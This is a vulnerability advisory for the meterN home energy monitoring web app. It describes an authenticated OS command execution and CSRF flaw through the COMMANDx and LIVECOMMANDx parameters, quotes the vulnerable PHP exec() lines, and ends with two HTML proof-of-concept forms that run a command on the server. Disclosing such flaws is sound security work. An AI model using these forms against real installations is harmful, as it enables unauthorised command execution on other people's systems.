meterN v1.2.3 Authenticated Remote Command Execution Vulnerability
Vendor: Jean-Marc Louviaux
Product web page: https://www.metern.org
Affected version: 1.2.3 and 0.8.3.2
Summary: meterN is a set of PHP/JS files that make a -Home
energy metering & monitoring- solution.
It accept any meters like : electrical, water, gas, fuel
consumption, solar, Wind energy production
and so on. Sensors such as temperature or humidity are also
accepted. The philosophy is: To keep it
simple, fast, with a low foot print to run on cheap and low powered
devices.
Desc: The application suffers from an authenticated OS command
execution vulnerability. This can be
exploited to execute arbitrary commands through the 'COMMANDx' and
'LIVECOMMANDx' POST parameters in
admin_meter2.php and admin_indicator2.php scripts. The application
interface allows users to perform
these actions through HTTP requests without performing any validity
checks to verify the requests.
This CSRF can be exploited to perform actions with administrative
privileges if a logged-in user
visits a malicious web site.
---------------------------------------------------------------------------------------------------
/admin/admin_meter2.php:
------------------------
69: if (!empty($_POST['COMMANDx']) &&
is_string($_POST['COMMANDx'])) {
70: $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES,
'UTF-8');
71: } else {
72: $COMMANDx = '';
73: }
...
...
108: if (!empty($_POST['LIVECOMMANDx']) &&
is_string($_POST['LIVECOMMANDx'])) {
109: $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'],
ENT_QUOTES, 'UTF-8');
110: } else {
111: $LIVECOMMANDx = '';
112: }
...
...
271: exec("$COMMANDx 2>&1", $datareturn);
...
...
303: exec("$LIVECOMMANDx 2>&1", $datareturn);
---------------------------------------------------------------------------------------------------
Tested on: Apache/2.4.10 (Raspbian)
Apache/2.4.46 (Win64)
Linux 4.9.67-v7+ GNU/Linux (armv7l)
Microsoft Windows 10 Home (10.0.19042 Build 19042)
PHP/7.2.33
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5690
Advisory URL:
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php
18.11.2021
-->
PoC #1:
-------
<html>
<body>
<form
action="http://localhost/metern/admin/admin_indicator2.php"
method="POST">
<input type="hidden" name="NUMINDx" value="1" />
<input type="hidden" name="INDNAMEx1" value="test" />
<input type="hidden" name="IDx1" value="1" />
<input type="hidden" name="COMMANDx1" value="calc" />
<input type="hidden" name="bntsubmit1" value="Test command"
/>
<input type="hidden" name="UNITx1" value="" />
<input type="submit" value="Incongruity" />
</form>
</body>
</html>
PoC #2:
-------
<html>
<body>
<form action="http://localhost/metern/admin/admin_meter2.php"
method="POST">
<input type="hidden" name="METNAMEx" value="Conso" />
<input type="hidden" name="COLORx" value="962629" />
<input type="hidden" name="TYPEx" value="Elect" />
<input type="hidden" name="PRODx" value="2" />
<input type="hidden" name="PHASEx" value="1" />
<input type="hidden" name="SKIPMONITORINGx" value="" />
<input type="hidden" name="IDx" value="elect" />
<input type="hidden" name="COMMANDx" value="houseenergy -energy"
/>
<input type="hidden" name="PASSOx" value="100000" />
<input type="hidden" name="PRICEx" value="0.23" />
<input type="hidden" name="LIDx" value="elect" />
<input type="hidden" name="LIVECOMMANDx" value="calc" />
<input type="hidden" name="bntsubmit" value="Test live command"
/>
<input type="hidden" name="EMAILx" value="" />
<input type="hidden" name="WARNCONSODx" value="15000" />
<input type="hidden" name="NORESPMx" value="true" />
<input type="hidden" name="POAKEYx" value="" />
<input type="hidden" name="POUKEYx" value="" />
<input type="hidden" name="TLGRTOKx" value="" />
<input type="hidden" name="TLGRCIDx" value="" />
<input type="hidden" name="met_numx" value="1" />
<input type="submit" value="Incongruity" />
</form>
</body>
</html>
